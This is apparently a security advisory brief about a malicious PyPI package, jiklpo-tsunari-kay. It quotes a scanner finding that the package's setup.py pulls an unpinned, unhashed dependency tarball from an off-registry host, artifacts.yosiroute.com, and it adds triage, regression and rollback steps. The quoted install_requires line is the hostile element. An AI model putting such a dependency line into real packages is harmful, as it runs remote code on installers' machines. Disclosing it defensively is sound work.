Source: amazon-inspector (c2df8ddef194a109b65d938d86371d9e97c84ea4c8863af380fb495508ce5a90) setup.py declares install_requires=["object-handle-logger-table @ https://artifacts.yosiroute.com/pypi/object_handle_logger_table-1.0.0.tar.gz"], resolving a dependency to a direct tarball URL on a non-registry host instead of a pinned PyPI version. On pip install, the installer fetches and executes whatever bytes that URL returns, including any setup.py / build-backend code inside the tarball. There is no version pin and no hash or integrity check, so whoever controls artifacts.yosiroute.com controls code executed on the installer's machine. The shipped module itself is a two-line stub; the off-registry URL dependency is the package's entire install-time effect.

# Patch Next advisory brief: mal-2026-18113

Advisory: Malicious code in jiklpo-tsunari-kay (PyPI)
IDs: mal-2026-18113
Record: https://patchnext.com/advisories/mal-2026-18113 (revision 2, source checked 4 Nov 2026, 06:20 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI jiklpo-tsunari-kay: affected >= 1.0.0, <= 1.0.0

## Suggested inspection (read-only)
- `python -m pip show jiklpo-tsunari-kay`: prints the installed version. Run with the environment that serves production active.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on jiklpo-tsunari-kay.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18113 (OSV record MAL-2026-18113 lists affected ranges: PyPI jiklpo-tsunari-kay >=1.0.0 <=1.0.0)
